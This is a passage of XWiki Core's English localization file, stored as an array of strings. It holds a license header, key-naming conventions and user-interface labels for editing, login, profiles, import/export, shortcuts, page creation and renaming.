[ "# ---------------------------------------------------------------------------\n# See the NOTICE file distributed with this work for additional\n# information regarding copyright ownership.\n#\n# This is free software; you can redistribute it and/or modify it\n# under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation; either version 2.1 of\n# the License, or (at your option) any later version.\n#\n# This software is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this software; if not, write to the Free\n# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n# 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n# ---------------------------------------------------------------------------", "###############################################################################\n# XWiki Core localization\n#\n# This contains the translations of the module in the default language\n# (generally English).\n# \n# Translation key syntax:\n# <short top level project name>.<short module name>.<propertyName>\n# where:\n# * <short top level project name> = top level project name without the \"xwiki-\" prefix,\n# for example: commons, rendering, platform, enterprise, manager, etc\n# * <short module name> = the name of the Maven module without the <short top level project name> prefix,\n# for example: oldcore, scheduler, activitystream, etc\n# * <propertyName> = the name of the property using camel case,\n# for example updateJobClassCommitComment\n#\n# Comments: it's possible to add some detail about a key to make easier to\n# translate it by adding a comment before it. To make sure a comment is not\n# assigned to the following key use at least three sharps (###) for the comment\n# or after it.\n# \n# Deprecated keys:\n# * when deleting a key it should be moved to deprecated section at the end\n# of the file (between #@deprecatedstart and #@deprecatedend) and associated to the\n# first version in which it started to be deprecated\n# * when renaming a key, it should be moved to the same deprecated section\n# and a comment should be added with the following syntax:\n# #@deprecated new.key.name\n# old.key.name=Some translation\n###############################################################################", "### Languages\nlanguage=Language\nlanguages=Languages\nchinese=Chinese\nenglish=English\nfrench=French\ngerman=German\nitalian=Italian\npolish=Polish\nrussian=Russian\nspanish=Spanish", "### User Page\nfirstname=First Name\nlastname=Last Name\ncountry=Country", "### View/Editing\nwikiweb=Space\nwikiname=Page\nparent=Parent\nwikicontent=Content\ndefaultlanguage=Default Language\ndefaulttemplate=Default Template\ncreator=Creator\nview=View\nraw=Code\nxml=XML\ndiff=History\nedit=Edit\neditcontent=Edit Content\nedithtmlcontent=Edit WYSIWYG\neditinline=Form\neditrights=Page Access Rights\neditobject=Objects\neditclass=Class\nwebrights=Space Access Rights\nxwikirights=Global Access Rights\nwebprefs=Space Preferences\nxwikiprefs=Global Preferences\nattach=Attach\nattachments=Attachments\nwebdaveditattachment=Edit\nsave=Save\ndelete=Delete\npreview=Preview\ncopy=Copy\nlogin=Log-in\nlogout=Log-out\nhomepage=User Profile\nstyles=Styles\ndefaultstyle=Default Style\naltstyle1=Alternate Style 1\naltstyle2=Alternate Style 2\naltstyle3=Alternate Style 3\npagemenu=Page Menu\nwebmenu=Space Menu\nxwikimenu=Space Menu\nusermenu=User Menu\nwebusermenu=Space Menu\nspace=Space Home\nclasseditor=Class Editor\nobjecteditor=Object Editor\ncancel=Cancel\nreleaselock=Release Lock\nversions=Versions\nversion=Version\nsize=Size\nauthor=Author\nlastauthor=Last Author\nfilename=Filename\nrights=Rights\nactions=Actions\ndefault=default\nconfirmobjectremove=Are you sure you want to remove this object?\nconfirmdelete=This action is irreversible. Are you sure you want to delete this page?\nconfirmdelete2=Are you sure you want to delete this attachment?\nbacklinkswarningdelete=There are pages that link here!\nconfirmdelattachment=Are you sure you want to delete this attachment?\ndeleted=The page has been deleted.\neditincludepagemsg=This page contains (an) included page(s). To edit this page, click on the following links:\nyouareediting=You are editing the following translation\nselectclass=Select a Class\nchangeclass=Change Class\nclassname=Class Name\npropname=Name\nselectproptype=Select a type\naddproperty=Add Property\nsaveclass=Save Class\nwelcometoclasseditor=Welcome to the class editor. Choose a field to edit or add a field to the class.\neditfield=Edit Field\naddobject=Add Object\naddobjectfromclass=Add Object from this Class\nwelcometoobjecteditor=Welcome to the objects editor. Choose an object to edit or add an object to the page.\nsaveobjects=Save Objects\nyoucan=You can\nremovethisobject=remove this object\nrightseditor=Access Rights Editor\naddrightentry=Add Access Right Entry\nwelcometorightseditor=Welcome to the Access Rights editor. Choose a right entry to edit or add a new right entry:\nremovethisrightentry=remove this right entry\nsaverights=Save Access Rights\naccountdisabled=Your account has been disabled. Please contact the administrator if you think this is a mistake.\naccountnotactive=Your account is not yet active, because your email has not yet been confirmed.\naccountnotactive_email=You should have received an email with a link to confirm your email address. You can also copy-paste the activation code in the same email in the following field.\nconfirmaccount=Confirm Account\nproblemoccured=A problem occurred while trying to process your request. Please contact the webmaster if this happens again.\ndetailedinformation=Detailed information\nnotallowed=You are not allowed to view this page or perform this action.\ndoyouwanttoreplace=Do you want to replace the filename with\nchoosetargetfilename=Choose the target file name\nchoosefiletoupload=Choose file to upload\nattachthisfile=Attach this file\nusername=Username\npassword=Password\nxwikidoc=Documentation\ndocumentation=Documentation\nxwikisyntax=XWiki Syntax\nhelpmenu=Help\nhelponsyntax=Help on the\ncomments=Comments\nnocomments=No comments for this page\naddcomment=Add Comment\nnewcomment=New Comment\nhighlight=Highlighted Text\nnocommentswithoutright=You need to have the 'comment' right to post a comment\nstatsmenu=Statistics Menu\npageviews=Page Views\nwebpageviews=Space Page Views\nxwikipageviews=XWiki Page Views\nxwikivisits=XWiki Visits\npagetopreferers=Top Referers\n#newinterface\npdf=PDF\nrtf=RTF\neditpage=Edit this Page\naddattachment=Add an attachment\nhistory=History\nmore=More Actions\nhello=Hello\nyesno_0=No\nyesno_1=Yes\ntruefalse_0=False\ntruefalse_1=True\nactive_0=Inactive\nactive_1=Active\nallow_0=Deny\nallow_1=Allow\nfrom=From\nto=To\neditedby=edited by\non=on\ncompare=Compare selected Versions\nallchanges=View all Changes\ndocumenthistory=Page History\ncannotreaddocumentversion=Cannot read page version\nparams=Parameters\nskin=Skin\npresentation=Presentation\nregistration=Registration\nmultilingual=Multilingual\ndefault_language=Default Language\ndateformat=Date format\nauthenticate_view=Prevent unregistered users from viewing pages, regardless of the page rights\nauthenticate_viewedit_savecomment=Change rights for unregistered users.\nauthenticate_edit=Prevent unregistered users from editing pages, regardless of the page rights\nbaseskin=Base Skin\nstylesheet=Default Stylesheet\nstylesheets=Other Stylesheets\ntitle=Browser Title Bar Text\ntitlefield=Title\nwebcopyright=Copyright notice\nmenu=Top Menu\nmeta=HTTP Meta Information\neditor=Default Editor to use\neditbox_width=Editor Box Width (characters)\neditbox_height=Editor Box Height (lines)\nuse_email_verification=Use email verification\nadmin_email=Admin email\nsmtp_server=Server\nsmtp_port=Port\nsmtp_server_username=SMTP Server Username (optional)\nsmtp_server_password=SMTP Server Password (optional)\njavamail_extra_props=Additional JavaMail properties\nvalidation_email_content=Validation e-Mail Content\nconfirmation_email_content=Confirmation e-Mail Content\npreferences=Preferences\nsaveprefs=Save Preferences\nsections=Sections\ncurrentobjects=Current Objects\ncurrentrights=Current Access Rights\ncurrentproperties=Current Properties\neditanotherclass=Edit another Class\nadmin=Administration\nhelp=Help\nsearch=Search\nrecentmenu=Recently Viewed\nwelcome=Welcome\ndate=Date\ndoclockedby=This page is currently locked by\nforcelock=Force editing\ninitialversion=Initial Version\nrollback=Rollback\nreadytorollback=Do you want to rollback to version\nreadonly=This server is currently in read-only mode\nrevisiondoesnotexist=This page does not exist in this version.\nnocommentwithnewdoc=You cannot comment on a page or article that does not exist.\nactiondoesnotexist=This action does not exist!\nthiswikidoesnotexist=This Wiki does not exist on this server.\nthispagedoesnotexist=The requested page could not be found.\nnosuchobject=The specified object does not exist\nthispagealreadyexists=This page already exists.\nattachmentdoesnotexist=The attachment does not exist.\nwikicontentcannotbeempty=The content of a wiki page is not allowed to be completely empty.\nfileuploadislarge=XWiki has a default limit of around 10Mb for attached files. This limit can be changed using the upload_maxsize parameter. Check the FAQ for more information.\njavaheapspace=Java Heap Space Out Of Memory Exception!\nnotsupportcharacters=File name does not support characters '\\\\' '/' ';'\nthistemplatedoesnotexist=This template does not exist\nmacros_languages=Macro Languages\nmacros_velocity=Velocity Macro Pages\nmacros_groovy=Groovy Macro Pages\nmacros_mapping=Macro Mapping\nnotification_pages=Notification Pages\ndocumentBundles=Internationalization Document Bundles\nadvanced=Advanced\nerrornotdefine=Error not defined in XWikiException!\naction.addClassProperty.error.invalidName=Property names must follow these naming rules: <br/>Names can contain letters, numbers, and the following characters: \"., -, _, :\" <br/>Names must not start with a number or punctuation character. <br/>Names must not start with the letters xml (or XML, or Xml, etc). <br/>Names cannot contain spaces.\naction.addClassProperty.error.alreadyExists=Property {0} already exists", "backtoedit=Back To Edit\nbrowsernoncompatible=Browser is not compatible!\nwysiwygeditor=WYSIWYG Editor\nwikieditor=WIKI Editor\nmacro=Macro\nchoosemacro=Choose a macro:", "resetversions=Reset Versions\nconfirmresetversions=This action is irreversible. Are you sure you want to reset versions for this page?\nconfirmresetversions2=Please confirm if you want to reset versions for this page?\nresetversionsdone=The versions have been reset for this page.\nyes=Yes\nno=No", "disabled=Disabled\nenabled=Enabled", "createdon=on\nlastmodifiedby=last modified by\nlastmodifiedon=on\nat=at\neditwiki=Wiki\neditvisual=WYSIWYG\neditform=Form\nchooseeditor=Choose editor:\nshow=Show\nshowcode=Wiki code\nshowxml=XML\nwatch=Watch\nnoattachments=No attachments for this page\ndownloadthisattachment=Download this attachment\nviewattachmenthistory=View attachment history\nregister=Register\ndoc=Documentation\nattributes=Attributes\nshowattributes=Show page attributes\nrememberme=This is a private computer, please remember me\ndontrememberme=This is a public/shared computer, do not remember me\nyouareeditingtranslation=You are editing the following translation\nyouareeditingoriginal=You are editing the original page\noriginallanguage=The original language of the page is\ntranslatedocin=Translate this page in\nothertranslations=Other translations\nexistingtranslations=Existing translations\nproptype=Type\nremovethiscomment=delete\nconfirmcommentremove=Are you sure you want to remove this comment?\nusefullinks=Useful links", "bold=Bold\nboldtext=Text in Bold\nitalics=Italics\nitalicstext=Text in Italics\nunderline=Underline\nunderlinetext=Text in Underline\nsecondleveltitle=Second Level Title\ntitletext=Title Text\nilink=Internal Link\nilinktext=Link Example\nelink=External Link (do not forget http://)\nelinktext=name of link>http://www.example.com\nhr=Horizontal ruler\nimg=Attached Image\nimgtext=example.jpg\nsign=Signature", "###\n### Model\n###", "TextArea_editor=Editor\nTextArea_editor_hint=Indicates which editor should be used to manipulate the content of the property. This setting overwrites the preferred editor configured in the user profile.\nTextArea_editor_PureText=Plain Text\nTextArea_editor_Text=Wiki\nTextArea_editor_Wysiwyg=WYSIWYG", "TextArea_contenttype=Content Type\nTextArea_contenttype_hint=Indicates what kind of content this field contains (wiki, plain text, etc.).\nTextArea_contenttype_PureText=Plain Text\nTextArea_contenttype_FullyRenderedText=Wiki Syntax\nTextArea_contenttype_VelocityCode=Velocity Code", "String_size_hint=The size of the corresponding form element in edit mode.", "StaticList_values_hint=Separated by '|'; Example: value1=Text displayed for value 1|value2=Text displayed for value 2|value3|value4", "###", "core.edit.wikiToolbar.bold=Bold\ncore.edit.wikiToolbar.boldtext=Text in Bold\ncore.edit.wikiToolbar.italics=Italics\ncore.edit.wikiToolbar.italicstext=Text in Italics\ncore.edit.wikiToolbar.underline=Underline\ncore.edit.wikiToolbar.underlinetext=Text in Underline\ncore.edit.wikiToolbar.strikethrough=Strikethrough\ncore.edit.wikiToolbar.strikethroughtext=Strikethrough\ncore.edit.wikiToolbar.subscript=Subscript\ncore.edit.wikiToolbar.subscripttext=Text in subscript\ncore.edit.wikiToolbar.superscript=Superscript\ncore.edit.wikiToolbar.superscripttext=Text in superscript\ncore.edit.wikiToolbar.secondleveltitle=Second Level Title\ncore.edit.wikiToolbar.titletext=Title Text\ncore.edit.wikiToolbar.ilink=Internal Link\ncore.edit.wikiToolbar.ilinktext=Link Example\ncore.edit.wikiToolbar.elink=External Link (do not forget http://)\ncore.edit.wikiToolbar.elinktext=name of link>http://www.example.com\ncore.edit.wikiToolbar.elink20=External Link (do not forget http://)\ncore.edit.wikiToolbar.elink20text=name of link>>http://www.example.com\ncore.edit.wikiToolbar.hr=Horizontal ruler\ncore.edit.wikiToolbar.img=Attached Image\ncore.edit.wikiToolbar.imgtext=example.jpg\ncore.edit.wikiToolbar.sign=Signature\ncore.edit.wikiToolbar.h1=Heading 1\ncore.edit.wikiToolbar.h1text=Heading 1\ncore.edit.wikiToolbar.h2=Heading 2\ncore.edit.wikiToolbar.h2text=Heading 2\ncore.edit.wikiToolbar.h3=Heading 3\ncore.edit.wikiToolbar.h3text=Heading 3\ncore.edit.wikiToolbar.h4=Heading 4\ncore.edit.wikiToolbar.h4text=Heading 4\ncore.edit.wikiToolbar.ulist=Bulleted list\ncore.edit.wikiToolbar.ulisttext=List item\ncore.edit.wikiToolbar.olist=Numbered list\ncore.edit.wikiToolbar.olisttext=List item\ncore.edit.wikiToolbar.html=HTML code\ncore.edit.wikiToolbar.htmltext=<!-- Your HTML code here -->\ncore.edit.wikiToolbar.velocity=Velocity code\ncore.edit.wikiToolbar.velocitytext=#* Your velocity code here *#\ncore.edit.autosave=Autosave\ncore.edit.autosave.every=every", "notice=Notice\nchangephoto=Changing photo for {0}\navatar=User photo\nError=Error\nerror=Error\nwarning=Warning\nWarning=Warning\nuploadavatarfile=Upload new user photo\nsetthisavatar=Set this photo\nnotauser=This is not a user!\nviewcode=Code\nviewxml=XML\nviewcomments=Comments\nviewattachments=Attachments\nviewhistory=History\nviewinformation=Information\nreveditor=Editor\nadminprefs=Preferences\nadminglobalrights=Global Rights\nadminspacerights=Space Rights\nadmingroups=Groups\nadminusers=Users\nadminusersandgroups=Users & Groups\nadminskin=Skin\ntype=Type:\ntoget=To get:\ndocdata=Page data\nnoskin=No skin is configured\nshowlinenumbers=Show Line Numbers\nhidelinenumbers=Hide Line numbers\nprint=Print\nwiki=Wiki\nWYSIWYG=WYSIWYG\ninvitation_email_content=Invitation email Content\nparentfield=Parent", "editingClass=Editing class\nproperties=Properties\nclassEditorIntro=Welcome to the Class Editor\nremembermeonthiscomp=Remember me\nsaveandcontinue=Save &amp; Continue\nsaveandview=Save &amp; View", "editing=Editing\neditWiki=Wiki\neditVisual=WYSIWYG\neditAttachments=Attachments\neditObject=Objects\neditClass=Class\neditRights=Access Rights\neditHistory=History\neditFullScreen=Full Screen", "###login\nnousername=No user name given\nnopassword=No password given\ninvalidcredentials=Invalid credentials\nloginfailed=Internal error", "switchto=Switch to\nsectionEdit=Sectional Editing", "antispam=Antispam\nregistration_anonymous=Anonymous\nregistration_registered=Registered\nedit_anonymous=Anonymous\nedit_registered=Registered\ncomment_anonymous=Anonymous\ncomment_registered=Registered\ncomment=Comment\nconfirmcommentnotcorrect=Confirm to avoid spam robots. Please try again!\nvalidationerror=Field {0} is incorrect.", "myaccount=My account\nnew=New", "attachedby=attached by\nlistofallexistspages=List of all existing pages\nlistofallattachments=List of all attachments\nlistofrecentlyviewedpages=List of recently viewed pages\nlistofrecentlymodifiedpages=List of recently modified pages\nwarningstartspluginisnotactivated=The stats plugin isn't activated. You have to activate stats plugin as default (xwiki.stats=1 in xwiki.cfg) to activate this function.\nlistofresultspages=List of result\nchoosespace=Choose space\ninspace=in\nnoattachmentsonthispage=There are no attachments on this page.\nnopagesatthemoment=There are no pages at the moment.\nEditing=Editing\nchooseassociatedtags=choose associated tags", "changespace=Change Space\nadminspaceprefs=Space Prefs\neditprefsforspace=Editing preferences for space\neditrightsforspace=Editing access rights for space", "target=Target Window (_blank for a new window)", "checkadvancedcontent=Your content contains HTML or special code that might be lost in the WYSIWYG Editor. Are you sure you want to switch editors?\nneedadminrights=Admin Rights are needed for this function", "export=Export\nadminexport=Export\nexport_packagename=File name\nexport_description=Description\nexport_licence=Licence\nexport_author=Author\nexport_version=Version\nexport_addhistory=With history\nexport_backuppack=Backup package", "import=Import\nadminimport=Import\nshowavailablefilestoimport=Show available files to import\nselectfiletoimport=Select the file you wish to import\navailablefilestoimport=Available files to import\navailabledocumentstoimport=Available pages to import\nuploadnewarchivetoimport=Upload a new archive to import\nselectdocumentstoimport=Click on the archive file you wish to import to get the list of available pages\nnodocstoimport=No pages found in the selected archive\nimporting=Importing\nimport_install_-1=Error while preparing importing\nimport_install_4=Error while importing\nimport_install_2=Import successful\nimport_install_1=Import could not overwrite\nimport_documentinstalled=Page(s) installed\nimport_documentskipped=Page(s) skipped\nimport_documenterrors=Page(s) with error\nimport_listofinstalledfiles=List of installed pages\nimport_listofskippedfiles=List of skipped pages\nimport_listoferrorfiles=List of erroneous pages", "core.exporter.headings.officeFormats=Office Formats\ncore.exporter.headings.otherFormats=Other Formats\ncore.exporter.selectPages=Select the pages to export:\ncore.exporter.selectAll=select all\ncore.exporter.selectNone=none\ncore.exporter.selectChildren=Select all children\ncore.exporter.unselectChildren=Unselect all children\ncore.exporter.filter=Select from:\ncore.exporter.filter.installedExtensionDocument=Created pages\ncore.exporter.filter.installedExtensionDocument.hint=The pages created by the user or by XWiki extensions on behalf of the user.\ncore.exporter.filter.pristineInstalledExtensionDocument=Created and modified pages\ncore.exporter.filter.pristineInstalledExtensionDocument.hint=Includes modified extension pages (usually configuration pages).\ncore.exporter.filter.none=All pages\ncore.exporter.filter.none.hint=Includes unmodified extension pages.\ncore.exporter.legend=Legend:\ncore.exporter.legend.contentPage=Created Page\ncore.exporter.legend.contentPage.hint=Any page created by the user or by an XWiki extension on behalf of the user.\ncore.exporter.legend.customizedExtensionPage=Modified Extension Page\ncore.exporter.legend.customizedExtensionPage.hint=Any page that belongs to an installed extension and that has been modified.\ncore.exporter.legend.cleanExtensionPage=Clean Extension Page\ncore.exporter.legend.cleanExtensionPage.hint=Any page that belongs to an installed extension and that has not been modified.", "core.importer.uploadPackage=Upload a new package\ncore.importer.availableDocuments=Package Content\ncore.importer.selectThisPackage=select this package\ncore.importer.availablePackages=Available packages\ncore.importer.noPackageAvailable=No package is available for import\ncore.importer.packageInformationExtract=Added by {0} on {1}\ncore.importer.import=Import\ncore.importer.selectionEmptyWarning=Please select at least one page to import\ncore.importer.importHistory=Import the history\ncore.importer.package=Package\ncore.importer.package.description=Description\ncore.importer.package.version=Version\ncore.importer.package.licence=Licence\ncore.importer.package.author=Author\ncore.importer.package.backup=Backup package\ncore.importer.documentSelected=page(s) selected\ncore.importer.whenDocumentAlreadyExists=When a page already exists in the wiki\ncore.importer.replaceDocumentHistory=Replace the page history with the history from the package\ncore.importer.addNewVersion=Add a new version to the existing page (if different)\ncore.importer.resetHistory=Reset history to version 1.1\ncore.importer.select=select\ncore.importer.selectAll=all\ncore.importer.selectNone=none\ncore.importer.saveDocumentComment=Imported from XAR\ncore.importer.securitySettingsChanged=Security settings have changed during the import. You will need <a href=\"{0}\">to authenticate</a> in order to continue to administrate the wiki.\ncore.importer.importAsBackup=Import as backup package", "core.model.xclass.deleteClassProperty.versionSummary=Removed class property \"{0}\"\ncore.model.xclass.disableClassProperty.versionSummary=Disabled class property \"{0}\"\ncore.model.xclass.enableClassProperty.versionSummary=Enabled class property \"{0}\"\ncore.model.xclass.classProperty.error.missingProperty=Cannot change property: the specified property name does not exist in this class.\ncore.model.xclass.mandatoryUpdateProperty.versionSummary=Synced mandatory class property definitions to default values\ncore.model.xobject.synchronizeObjects.versionSummary=Synchronized object properties with their current classes\ncore.model.xobject.synchronizeObjects.error.missingObject=Cannot synchronize object: the specified object does not exist.", "registerwelcome=Sign up here so you can edit pages and participate in the wiki.\nemail=e-Mail address\npasswordrepeat=Password (repeat)\nloginid=Login ID\niregister=Register\npasswordmismatch=Passwords are different or password is empty\nuseralreadyexists=User already exists\ninvalidusername=Invalid username provided. Please use only letters from the latin alphabet, numbers, and the underscore character.\nregisterfailed=Registration has failed\nregisterfailedcode=code\nregistersuccessful=Registration successful", "leftPanels=Left Panels\nrightPanels=Right Panels\nshowLeftPanels=Show Left Panels\nshowRightPanels=Show Right Panels\npageWidth=Page Width\ntags=Tags", "removethisuserfromgroup=Remove this user from the group\nuserdeletioncannotbecanceled=Deletions cannot be cancelled.\naddusertogroup=Add a user to this group", "panelsavesuccess=The layout has been saved properly.\npanelsaveerror=An error occurred while trying to save the panel layout.\nspaceandname=Space and Page Name\ncreate=Create\ncreatepage=Page\ncreatespace=Space\ncreateevent=Event\ncreatepanel=Panel", "### Event calendar\neventCalendarTitle=Event Calendar\neventList=Event List\neventNew=New Event\neventTitle=Title\neventStartdate=Start date inclusive (dd/MM/yyyy)\neventEnddate=End date inclusive (dd/MM/yyyy)\neventLocation=Location\neventCategory=Category\neventURL=URL\neventDescription=Description\neventAdd=Add", "dtFrom=From\ndtTo=to\nmoreinfo=More information", "### Password change form\nchangepassword=Changing password for {0}\nnewpassword=New password\nreenterpassword=Reenter password\nsetthispassword=Save\ncancelpwd=Cancel\npasswordmissmatch=The two passwords do not match!", "platform.core.profile.passwd.title=Changing password for {0}\nplatform.core.profile.passwd.instructionsPasswordLength=Your new password must be at least {0} characters long.\nplatform.core.profile.passwd.originalPassword=Current password\nplatform.core.profile.passwd.newPassword=New password\nplatform.core.profile.passwd.reenterPassword=Reenter password\nplatform.core.profile.passwd.submit=Save\nplatform.core.profile.passwd.cancel=Cancel and return to profile\nplatform.core.profile.passwd.passwordMissmatch=The two passwords do not match.\nplatform.core.profile.passwd.invalidOriginalPassword=Current password is invalid.\nplatform.core.profile.passwd.passwordTooShort=Your new password should be at least 6 characters long.\nplatform.core.profile.passwd.passwordCannotBeEmpty=The password cannot be empty.\nplatform.core.profile.passwd.notAllowed=You are not allowed to perform this action.\nplatform.core.profile.passwd.notaUser=This is not a user profile.\nplatform.core.profile.passwd.success=Your password has been successfully changed.\nplatform.core.profile.passwd.return=Click here to return to your profile.\nplatform.core.profile.passwd.passwordChanged=Changing user password.\nplatform.core.profile.passwd.passwordMustContainLowercase=The password must contain at least one lowercase character.\nplatform.core.profile.passwd.passwordMustContainUppercase=The password must contain at least one uppercase character.\nplatform.core.profile.passwd.passwordMustContainNumber=The password must contain at least one number.\nplatform.core.profile.passwd.passwordMustContainSymbol=The password must contain at least one symbol character.", "### User profile page\nplatform.core.profile.title=Profile of {0}\nplatform.core.profile.changePassword=Change password\nplatform.core.profile.changePhoto=Change photo\nplatform.core.profile.changePhoto.cancel=Cancel and return to profile\nplatform.core.profile.firstname=First name\nplatform.core.profile.lastname=Last name\nplatform.core.profile.blog=Blog\nplatform.core.profile.blogFeed=Blog Feed\nplatform.core.profile.email=Email\nplatform.core.profile.company=Company\nplatform.core.profile.city=City\nplatform.core.profile.country=Country\nplatform.core.profile.about=About\nplatform.core.profile.phone=Phone\nplatform.core.profile.address=Address\nplatform.core.profile.editor=Default editor to use\nplatform.core.profile.userType=User Type\nplatform.core.profile.enableAccessibility=Enable extra accessibility features\nplatform.core.profile.displayHiddenDocuments=Display hidden pages\nplatform.core.profile.timezone=Timezone\nplatform.core.profile.extensionConflictSetup=Enable extension conflict setup", "platform.core.profile.category.settings=Settings\nplatform.core.profile.category.profile=Profile\nplatform.core.profile.category.profile.edit=Edit profile\nplatform.core.profile.category.preferences=Preferences\nplatform.core.profile.category.preferences.edit=Edit preferences\nplatform.core.profile.category.watchlist=Watchlist\nplatform.core.profile.category.watchlist.edit=Edit watchlist preferences\nplatform.core.profile.category.network=Network\nplatform.core.profile.category.dashboard=My dashboard\nplatform.core.profile.category.profile.disabled=This account is currently disabled.\nplatform.core.profile.category.profile.disableAccount=Disable this account\nplatform.core.profile.category.profile.enableAccount=Enable this account", "platform.core.profile.section.security=Security\nplatform.core.profile.section.personal=Personal Information\nplatform.core.profile.section.contact=Contact Information\nplatform.core.profile.section.links=External Links\nplatform.core.profile.section.sendMessage=Send Message\nplatform.core.profile.section.activity=My Activity Stream\nplatform.core.profile.section.activityof=Activity stream of {0}\nplatform.core.profile.section.displayPreferences=Display Preferences\nplatform.core.profile.section.localizationPreferences=Localization Preferences\nplatform.core.profile.section.editorPreferences=Editor Preferences\nplatform.core.profile.section.extensionPreferences=Extensions Preferences\nplatform.core.profile.section.datePreferences=Date Preferences\nplatform.core.profile.section.passwordManagement=Password Management\nplatform.core.profile.section.watchlistManagement=Watchlist Preferences\nplatform.core.profile.section.watchlistElements=Watched elements\nplatform.core.profile.section.following=Followed users\nplatform.core.profile.section.following.none=You are not following the activity of any user.\nplatform.core.profile.section.networkActivity=Network activity\nplatform.core.profile.watchlist.notifier=Notifier\nplatform.core.profile.watchlist.unwatch=Remove from my watch list", "core.footer.creation=Created by {0} on {1}\ncore.footer.translationCreation=Translated into {0} by {1} on {2}\ncore.footer.modification=Last modified by {0} on {1}\ncore.document.modificationWithVersion=Version {0} by {1} on {2}", "core.footnotes.gotofootnote=Go to footnote {0}\ncore.footnotes.backtoref=Back to footnote reference", "### Keyboard shortcuts\ncore.shortcuts.view.edit=e\ncore.shortcuts.view.wiki=k\ncore.shortcuts.view.wysiwyg=g\ncore.shortcuts.view.inline=f\ncore.shortcuts.view.rights=r\ncore.shortcuts.view.objects=o\ncore.shortcuts.view.class=s\ncore.shortcuts.view.comments=c\ncore.shortcuts.view.attachments=a\ncore.shortcuts.view.history=h\ncore.shortcuts.view.information=i\ncore.shortcuts.view.code=d\ncore.shortcuts.view.annotations=n\ncore.shortcuts.view.delete=Delete\ncore.shortcuts.view.rename=F2\ncore.shortcuts.edit.cancel=Alt+C\ncore.shortcuts.edit.backtoedit=Alt+B\ncore.shortcuts.edit.preview=Alt+P\ncore.shortcuts.edit.save=Alt+Shift+S\ncore.shortcuts.edit.saveandview=Alt+S", "### Developer shortcuts\ncore.shortcuts.developer.user.type=x+x+x+a\ncore.shortcuts.developer.user.type.error=Unable to update the current user type\ncore.shortcuts.developer.user.displayHiddenDocs=x+x+x+h\ncore.shortcuts.developer.user.displayHiddenDocs.error=Unable to toggle the current user hidden documents property\ncore.shortcuts.developer.user.ajax.inprogress=Performing REST request...\ncore.shortcuts.developer.user.ajax.success=REST Request successful!", "### Create\ncore.create.pageTitle=Create Page", "core.create.title=Title\ncore.create.title.hint=Title of the new page\ncore.create.locationPreview.label=Location\ncore.create.locationPreview.hint=Location in the page hierarchy where this new page will be created.\ncore.create.spaceReference.label=Parent\ncore.create.spaceReference.hint=Parent of the new page. Leave empty for top level non-terminal page.\ncore.create.spaceReference.placeholder=Path.To.Page\ncore.create.name.label=Name\ncore.create.name.hint=Name of the new page\ncore.create.name.placeholder=NewPage", "core.create.template=Template\ncore.create.page.template.hint=Template to use for the new page\ncore.create.page.template.empty=Empty Wiki Page\ncore.create.template.allowedspaces=Pages created from the template [{0}] must be created in one of the following spaces: {1}\ncore.create.template.allowedspace=Pages created from the template [{0}] must be created in the space: {1}\ncore.create.template.allowedspaces.inline=Allowed spaces for ''{0}'': {1}\ncore.create.template.allowedspace.inline=Allowed space for ''{0}'': {1}", "core.create.terminal.label=Terminal Page\ncore.create.terminal.hint=Advanced: Create a terminal page instead. This type of page will not be able to have children and is generally used in applications, development or in older versions of XWiki.", "core.create.type=Type\ncore.create.type.hint=Select the kind of page that you want to create\ncore.create.type.default=Default\ncore.create.type.templates=Templates\ncore.create.type.blank=Blank page\ncore.create.type.blank.description=Standard empty page", "core.create.popup.loading=Loading...", "core.create.ajax.error=An error occurred, please refresh the page and try again\ncore.create.page.error.docalreadyexists=The page <a href=\"{1}\">{0}</a> already exists. You can fill in a new page name (or <a href=\"{2}\">edit {0}</a>).\ncore.create.space.error.docalreadyexists=The space {0} already exists. Please fill in a new space name.\ncore.create.page.error.docpathtoolong=The full path of the page you want to create is too long: {0} Paths are limited to {1} characters and the current length is {2} characters. Please change the name of your page or move it to another space.", "### Rename\ncore.rename.title=Rename <a href=\"{1}\">{0}</a>\ncore.rename.source.label=Source\ncore.rename.source.hint=The page that is going to be renamed\ncore.rename.children.label=Preserve children\ncore.rename.children.hint=Preserve the {0}{1} {1,choice,0#child pages|1#child page|1<child pages}{2} by updating their path and moving them to the new location\ncore.rename.children.hintWithoutParams=Preserve the child pages by updating their path and moving them to the new location\ncore.rename.links.label=Update links\ncore.rename.links.hint=Update the target of {0}{1} {1,choice,0#incoming links|1#incoming link|1<incoming links}{2} to this page and preserve the target of relative outgoing links from this page in the new location\ncore.rename.links.hintWithoutParams=Update the target of incoming links to this page and preserve the target of relative outgoing links from this page in the new location\ncore.rename.autoRedirect.label=Create an automatic redirect\ncore.rename.autoRedirect.hint=Redirect the user to the new page when accessing the old page. Select this option if you don't want to break external links to the old page.\ncore.rename.target.title.label=New Title\ncore.rename.target.title.hint=The new page title\ncore.rename.target.location.label=New Location\ncore.rename.target.location.hint=The location where to move the page\ncore.rename.target.wiki.label=Wiki\ncore.rename.target.wiki.hint=The wiki where to move the page\ncore.rename.target.parent.label=Parent\ncore.rename.target.parent.hint=The new parent. Leave empty if the new page should be a top level non-terminal page.\ncore.rename.target.name.label=Name\ncore.rename.target.name.hint=The new page name\ncore.rename.target.terminal.label=Rename as terminal page\ncore.rename.target.terminal.hint=This type of page cannot have children and is generally used in applications, development or in older versions of XWiki.\ncore.rename.submit=Rename\ncore.rename.emptyName=Please enter a valid page name!\ncore.rename.alreadyExists=A page with the given name (<a href=\"{1}\">{0}</a>) already exists. Please provide a different name.\ncore.rename.nonexistingDocument=This page does not exist.\ncore.rename.targetNotWritable=You don't have the right to create the target page.\ncore.rename.status.label=Rename Status\ncore.rename.status.hint=The following rename operation has been started by {0} on {1}\ncore.rename.status.success=Done.\ncore.rename.status.failure=Rename failed.\ncore.rename.status.notFound=The requested rename status could not be found.\nrename=Rename\ncore.rename.warningRenameUser=You are about to rename a page containing an user or a group but you don't have the programming rights: this could lead to some breakage in your wiki.", "### Copy\ncore.copy.title=Copy <a href=\"{1}\">{0}</a>\ncore.copy.source.label=Source\ncore.copy.source.hint=The page that is going to be copied\ncore.copy.target.title.label=Copy Title\ncore.copy.target.title.hint=The copy can have a different title than the source page\ncore.copy.target.location.label=Copy 